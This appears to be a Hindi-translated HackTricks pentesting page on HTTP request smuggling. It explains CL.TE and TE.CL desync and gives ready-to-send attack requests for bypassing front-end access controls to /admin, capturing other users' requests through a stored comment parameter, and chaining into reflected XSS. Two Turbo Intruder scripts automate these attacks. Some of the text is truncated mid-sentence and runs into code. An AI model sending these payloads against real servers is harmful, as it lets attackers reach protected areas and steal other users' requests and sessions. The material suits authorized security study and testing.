hacktricks/pentesting-web/http-request-smuggling/README.md

35 KiB

HTTP Request Smuggling / HTTP Desync Attack

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

क्या है

यह भेद्यता तब होती है जब front-end proxies और back-end सर्वर के बीच असमन्वयन एक हमलावर को HTTP request भेजने की अनुमति देता है जिसे front-end proxies (load balance/reverse-proxy) द्वारा एकल request के रूप में और back-end सर्वर द्वारा 2 request के रूप में व्याख्या की जाएगी।
इससे एक उपयोगकर्ता back-end सर्वर पर अपने बाद आने वाले अगले request को संशोधित करने में सक्षम होता है

सिद्धांत

RFC विनिर्देश (2161)

यदि कोई संदेश Transfer-Encoding हेडर फील्ड और Content-Length हेडर फील्ड दोनों के साथ प्राप्त होता है, तो बाद वाले को अनदेखा करना चाहिए।

Content-Length

Content-Length इकाई हेडर प्राप्तकर्ता को भेजे गए इकाई-शरीर के आकार को बाइट्स में दर्शाता है।

Transfer-Encoding: chunked

Transfer-Encoding हेडर पेलोड शरीर को सुरक्षित रूप से उपयोगकर्ता तक पहुँचाने के लिए प्रयुक्त एन्कोडिंग के रूप को निर्दिष्ट करता है।
Chunked का अर्थ है कि बड़े डेटा को एक श्रृंखला में चंक्स के रूप में भेजा जाता है

वास्तविकता

Front-End (एक load-balance / Reverse Proxy) content-length या transfer-encoding हेडर को प्रोसेस करता है और Back-end सर्वर दूसरे को प्रोसेस करता है, जिससे दोनों सिस्टमों के बीच असमन्वयन होता है।
यह बहुत गंभीर हो सकता है क्योंकि हमलावर एक ऐसा request भेजने में सक्षम होगा जिसे reverse proxy द्वारा व्याख्या की जाएगी और back-end सर्वर इसे 2 अलग-अलग requests के रूप में समझेगा। इस तकनीक का खतरा इस तथ्य में निहित है कि back-end सर्वर 2nd request को इंजेक्ट किए गए के रूप में व्याख्या करेगा जैसे कि यह अगले ग्राहक से आया हो और वास्तविक request उस ग्राहक की इंजेक्ट किए गए request का हिस्सा होगी।

विशेषताएँ

याद रखें कि HTTP में नई लाइन चरित्र 2 बाइट्स से बना होता है:

  • Content-Length: यह हेडर एक दशमलव संख्या का उपयोग करता है जो request के शरीर के बाइट्स की संख्या को दर्शाता है। शरीर का अंत अंतिम चरित्र में होने की उम्मीद है, request के अंत में नई लाइन की आवश्यकता नहीं होती
  • Transfer-Encoding: यह हेडर शरीर में एक हेक्साडेसिमल संख्या का उपयोग करता है जो अगले चंक के बाइट्स की संख्या को दर्शाता है। चंक को नई लाइन के साथ समाप्त होना चाहिए लेकिन यह नई लाइन लंबाई संकेतक द्वारा गिनी नहीं जाती है। इस ट्रांसफर विधि का अंत आकार 0 के चंक के साथ होना चाहिए जिसके बाद 2 नई लाइनें हों: 0
  • Connection: मेरे अनुभव के आधार पर, request Smuggling के पहले request में Connection: keep-alive का उपयोग करना सिफारिश की जाती है।

मूल उदाहरण

तो, request smuggling हमले एक ही HTTP request में Content-Length हेडर और Transfer-Encoding हेडर दोनों को रखने और इन्हें इस तरह से मैनिपुलेट करने में शामिल हैं ताकि front-end और back-end सर्वर अलग-अलग तरीके से request को प्रोसेस करें। इसे किस तरह से किया जाता है यह दोनों सर्वरों के व्यवहार पर निर्भर करता है:

  • CL.TE: front-end सर्वर Content-Length हेडर का उपयोग करता है और back-end सर्वर Transfer-Encoding हेडर का उपयोग करता है।
  • TE.CL: front-end सर्वर Transfer-Encoding हेडर का उपयोग करता है और back-end सर्वर Content-Length हेडर का उपयोग करता है।
  • TE.TE: front-end और back-end सर्वर दोनों Transfer-Encoding हेडर का समर्थन करते हैं, लेकिन सर्वरों में से एक को हेडर को किसी तरह से अस्पष्ट करके प्रोसेस नहीं करने के लिए प्रेरित किया जा सकता है।

CL.TE भेद्यताएँ

यहाँ, front-end सर्वर Content-Length हेडर का उपयोग करता है और back-end सर्वर Transfer-Encoding हेडर का। हम निम्नलिखित के रूप में एक सरल HTTP request smuggling हमला कर सकते हैं:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /404 HTTP/1.1
Foo: x

ध्यान दें कि Content-Length इंगित करता है कि बॉडीज़ request की लंबाई 30 बाइट्स लंबी है (याद रखें कि HTTP नई लाइन के रूप में उपयोग करता है, इसलिए प्रत्येक नई लाइन 2बाइट्स), इसलिए reverse proxy पूरा request back-end को भेज देगा, और back-end Transfer-Encoding हेडर को प्रोसेस करेगा जिससे GET /404 HTTP/1.1 अगले request की शुरुआत के रूप में छोड़ दिया जाएगा (वैसे, अगला request Foo:x<Next request starts here> से जुड़ा होगा)।

TE.CL भेद्यताएँ

यहाँ, front-end सर्वर Transfer-Encoding हेडर का उपयोग करता है और back-end सर्वर Content-Length हेडर का। हम निम्नलिखित के रूप में एक सरल HTTP request smuggling हमला कर सकते हैं:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
\ `7b`\ `GET /404 HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 30`\
x=
0
\

इस मामले में reverse-proxy पूरा request back-end को भेज देगा क्योंकि Transfer-encoding ऐसा इंगित करता है। लेकिन, back-end केवल 7b (4बाइट्स) को प्रोसेस करेगा जैसा कि Content-Length में इंगित है। इसलिए, अगला request वह होगा जो GET /404 HTTP/1.1 से शुरू होता है।

ध्यान दें कि भले ही हमला 0 के साथ समाप्त होना चाहिए, अगला request x पैरामीटर के अतिरिक्त मानों के रूप में जोड़ा जाएगा।
_यह भी ध्यान दें कि एम्बेडेड request का Content-Length अगले request की लंबाई को इंगित करेग

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

चूंकि फ्रंट-एंड सर्वर Content-Length हेडर का उपयोग करता है, यह केवल इस अनुरोध का एक हिस्सा आगे भेजेगा, 0 को छोड़कर। बैक-एंड सर्वर Transfer-Encoding हेडर का उपयोग करता है, पहले चंक को प्रोसेस करता है, और फिर अगले चंक के आने का इंतजार करता है। इससे एक परिलक्षित समय देरी होगी।

कभी-कभी, आपको टाइमआउट के बजाय अंतिम होस्ट से 400 बैड रिक्वेस्ट मिलती है, जैसे कि निम्नलिखित परिदृश्य में, जहां एक CL.TE पेलोड भेजा जाता है:

और प्रतिक्रिया में एक रीडायरेक्ट होता है जिसमें शरीर के अंदर एक त्रुटि होती है और यहां तक कि haproxy का इस्तेमाल किया गया संस्करण भी होता है:

TE.CL भेद्यताओं को समय तकनीकों का उपयोग करके खोजना

यदि कोई एप्लिकेशन TE.CL वेरिएंट के अनुरोध तस्करी के लिए भेद्य है, तो निम्नलिखित जैसा अनुरोध भेजने से अक्सर समय देरी होगी:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

HTTP Request Smuggling संवेदनशीलताओं की जांच करना

एक बार जब आप पाते हैं कि समय तकनीकें काम कर रही हैं, आपको जांच करनी चाहिए कि आप अन्य ग्राहकों के अनुरोधों को बदल सकते हैं
इसे करने का सबसे आसान तरीका अपने स्वयं के अनुरोधों को विषाक्त करने की कोशिश करना है, उदाहरण के लिए / के लिए एक अनुरोध एक 404 वापस करें
मूल उदाहरणों में हमने पहले ही CL.TE और TE.CL उदाहरण देखे हैं कि कैसे एक ग्राहक के अनुरोध को विषाक्त करने के लिए /404 मांगना चाहिए, जब ग्राहक किसी अन्य संसाधन के लिए पूछ रहा हो तो 404 प्रतिक्रिया उत्पन्न करना।

नोट्स

अन्य अनुरोधों के साथ हस्तक्षेप के माध्यम से अनुरोध स्मगलिंग संवेदनशीलताओं की पुष्टि करने की कोशिश करते समय कुछ महत्वपूर्ण विचारों को ध्यान में रखा जाना चाहिए:

  • "हमला" अनुरोध और "सामान्य" अनुरोध को अलग-अलग नेटवर्क कनेक्शनों का उपयोग करके सर्वर को भेजा जाना चाहिए। दोनों अनुरोधों को एक ही कनेक्शन के माध्यम से भेजने से यह साबित नहीं होगा कि संवेदनशीलता मौजूद है।
  • "हमला" अनुरोध और "सामान्य" अनुरोध को जितना संभव हो सके एक ही URL और पैरामीटर नामों का उपयोग करना चाहिए। यह इसलिए है क्योंकि कई आधुनिक अनुप्रयोग URL और पैरामीटरों के आधार पर फ्रंट-एंड अनुरोधों को विभिन्न बैक-एंड सर्वरों को रूट करते हैं। एक ही URL और पैरामीटरों का उपयोग करने से यह संभावना बढ़ जाती है कि अनुरोधों को एक ही बैक-एंड सर्वर द्वारा संसाधित किया जाएगा, जो हमले के काम करने के लिए आवश्यक है।
  • "सामान्य" अनुरोध का परीक्षण करते समय "हमला" अनुरोध से किसी भी हस्तक्षेप का पता लगाने के लिए, आप उसी समय अनुप्रयोग द्वारा प्राप्त किए जा रहे किसी अन्य अनुरोधों के साथ दौड़ में हैं, जिसमें अन्य उपयोगकर्ताओं से भी शामिल हैं। आपको "सामान्य" अनुरोध को "हमला" अनुरोध के तुरंत बाद भेजना चाहिए। यदि अनुप्रयोग व्यस्त है, तो आपको संवेदनशीलता की पुष्टि करने के लिए कई प्रयास करने पड़ सकते हैं।
  • कुछ अनुप्रयोगों में, फ्रंट-एंड सर्वर एक लोड बैलेंसर के रूप में कार्य करता है, और किसी लोड बैलेंसिंग एल्गोरिथम के अनुसार विभिन्न बैक-एंड सिस्टमों को अनुरोध अग्रेषित करता है। यदि आपके "हमला" और "सामान्य" अनुरोध विभिन्न बैक-एंड सिस्टमों को अग्रेषित किए जाते हैं, तो हमला विफल हो जाएगा। यह एक अतिरिक्त कारण है कि आपको संवेदनशीलता की पुष्टि करने से पहले कई बार प्रयास करने पड़ सकते हैं।
  • यदि आपका हमला एक बाद के अनुरोध के साथ हस्तक्षेप करने में सफल होता है, लेकिन यह "सामान्य" अनुरोध नहीं था जिसे आपने हस्तक्षेप का पता लगाने के लिए भेजा था, तो इसका मतलब है कि आपके हमले से एक अन्य अनुप्रयोग उपयोगकर्ता प्रभावित हुआ था। यदि आप परीक्षण जारी रखते हैं, तो इससे अन्य उपयोगकर्ताओं पर विघटनकारी प्रभाव पड़ सकता है, और आपको सावधानी बरतनी चाहिए।

हॉप-बाय-हॉप हेडर्स के माध्यम से जबरदस्ती करना

हॉप-बाय-हॉप हेडर्स का दुरुपयोग करके आप प्रॉक्सी को संकेत दे सकते हैं कि हेडर Content-Length या Transfer-Encoding को हटा दें ताकि HTTP अनुरोध स्मगलिंग का दुरुपयोग संभव हो सके

Connection: Content-Length

हॉप-बाय-हॉप हेडर्स के बारे में अधिक जानकारी के लिए यहां जाएं:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

HTTP अनुरोध स्मगलिंग का दुरुपयोग

फ्रंट-एंड सुरक्षा नियंत्रणों को बायपास करने के लिए

कभी-कभी फ्रंट-एंड प्रॉक्सी कुछ सुरक्षा जांच करते हैं। आप HTTP अनुरोध स्मगलिंग का दुरुपयोग करके उनसे बच सकते हैं क्योंकि आप सुरक्षा उपायों को बायपास कर पाएंगे। उदाहरण के लिए, इस उदाहरण में आप बाहर से /admin तक पहुंच नहीं सकते और फ्रंट-एंड प्रॉक्सी इसकी जांच कर रही है, लेकिन यह प्रॉक्सी एम्बेडेड अनुरोध की जांच नहीं कर रही है:

CL.TE

POST / HTTP/1.1
Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net
Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
\ `0`\
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
``
x=

TE.CL

POST / HTTP/1.1
Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net
Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
\

फ्रंट-एंड अनुरोध पुनर्लेखन का पता लगाना

कई एप्लिकेशनों में, फ्रंट-एंड सर्वर अनुरोधों का कुछ पुनर्लेखन करता है इससे पहले कि वे बैक-एंड सर्वर को भेजे जाएं, आमतौर पर कुछ अतिरिक्त अनुरोध हेडर्स जोड़कर।
एक सामान्य बात यह है कि अनुरोध में हेडर X-Forwarded-For: <IP of the client> या कुछ इसी तरह का हेडर जोड़ना ताकि बैक-एंड को क्लाइंट का IP पता चल सके।
कभी-कभी, अगर आप पता लगा सकते हैं कि कौन से नए मान अनुरोध में जोड़े गए हैं तो आप सुरक्षा उपायों को बायपास कर सकते हैं और छिपी हुई जानकारी/एंडपॉइंट्स तक पहुंच सकते हैं

प्रॉक्सी द्वारा अनुरोध कैसे पुनर्लिखित किया जा रहा है यह जानने के लिए आपको एक POST पैरामीटर ढूंढना होगा जिसका मान बैक-एंड प्रतिबिंबित करेगा उत्तर में। फिर, इस पैरामीटर का उपयोग अंतिम एक के रूप में करें और इस तरह का एक्सप्लॉइट का उपयोग करें:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\
search=

इस मामले में अगला अनुरोध search= के बाद जोड़ा जाएगा जो यह भी पैरामीटर है जिसका मान प्रतिबिंबित होने वाला है उत्तर में, इसलिए यह अगले अनुरोध के हेडर्स को प्रतिबिंबित करेगा

ध्यान दें कि केवल एम्बेडेड अनुरोध के Content-Length हेडर में इंगित लंबाई प्रतिबिंबित की जाएगी। अगर आप कम संख्या का उपयोग करते हैं, तो केवल कुछ बाइट्स प्रतिबिंबित होंगे, अगर आप सभी हेडर्स की लंबाई से बड़ी संख्या का उपयोग करते हैं, तो एम्बेडेड अनुरोध एक त्रुटि फेंक देगा। फिर, आपको छोटी संख्या से शुरू करना चाहिए और इसे बढ़ाना चाहिए जब तक आप सभी देखना चाहते हैं।
यह भी ध्यान दें कि यह तकनीक TE.CL भेद्यता के साथ भी शोषण की जा सकती है लेकिन अनुरोध को search=\r\n0 के साथ समाप्त होना चाहिए। हालांकि, नई पंक्ति वर्णों के बावजूद मान सर्च पैरामीटर में जोड़े जाएंगे।

अंत में ध्यान दें कि इस हमले में हम अभी भी खुद पर हमला कर रहे हैं ताकि यह जान सकें कि फ्रंट-एंड प्रॉक्सी अनुरोध को कैसे पुनर्लिखित कर रहा है।

अन्य उपयोगकर्ताओं के अनुरोधों को कैप्चर करना

अगर आप एक POST अनुरोध ढूंढ सकते हैं जो एक पैरामीटर की सामग्री को सहेजने वाला है तो आप उस पैरामीटर के मान के रूप में निम्नलिखित अनुरोध जोड़ सकते हैं ताकि अगले ग्राहक के क्वेस्ट को स्टोर कर सकें:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
\ `0`\
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
``
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=

इस मामले में, पैरामीटर कमेंट का मान एक पोस्ट के कमेंट में सहेजा जाएगा जो पेज पर सार्वजनिक रूप से उपलब्ध है, इसलिए एक कमेंट अगले अनुरोध की सामग्री के साथ दिखाई देगा

इस तकनीक की एक सीमा यह है कि यह आमतौर पर केवल उस पैरामीटर विभाजक तक डेटा कैप्चर करेगा जो स्मगल किए गए अनुरोध के लिए लागू होता है। URL-एन्कोडेड फॉर्म सबमिशन के लिए, यह & वर्ण होगा, जिसका अर्थ है कि पीड़ित उपयोगकर्ता के अनुरोध से संग्रहीत सामग्री पहले & पर समाप्त हो जाएगी, जो क्वेरी स्ट्रिंग में भी दिखाई दे सकता है।

यह भी ध्यान दें कि यह तकनीक TE.CL भेद्यता के साथ भी शोषण की जा सकती है लेकिन अनुरोध को search=\r\n0 के साथ समाप्त होना चाहिए। हालांकि, नई पंक्ति वर्णों के बावजूद मान सर्च पैरामीटर में जोड़े जाएंगे।

प्रतिबिंबित XSS का शोषण करने के लिए HTTP अनुरोध स्मगलिंग का उपयोग

अगर वेब पेज प्रतिबिंबित XSS के लिए भी भेद्य है, तो आप HTTP अनुरोध स्मगलिंग का दुरुपयोग करके वेब के ग्राहकों पर हमला कर सकते हैं। HTTP अनुरोध स्मगलिंग से प्रतिबिंबित XSS के शोषण के कुछ फायदे हैं:

  • इसके लिए पीड़ित उपयोगकर्ताओं के साथ कोई बातचीत की आवश्यकता नहीं है
  • इसका उपयोग अनुरोध के उन हिस्सों में XSS व्यवहार का **शोषण करने के लिए किया जा सकता है जिन्हें सामान्य प्रत
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

से: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

अधिक जानकारी

यहाँ से छवि।

उपकरण

संदर्भ

AWS hacking सीखें zero से hero तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके: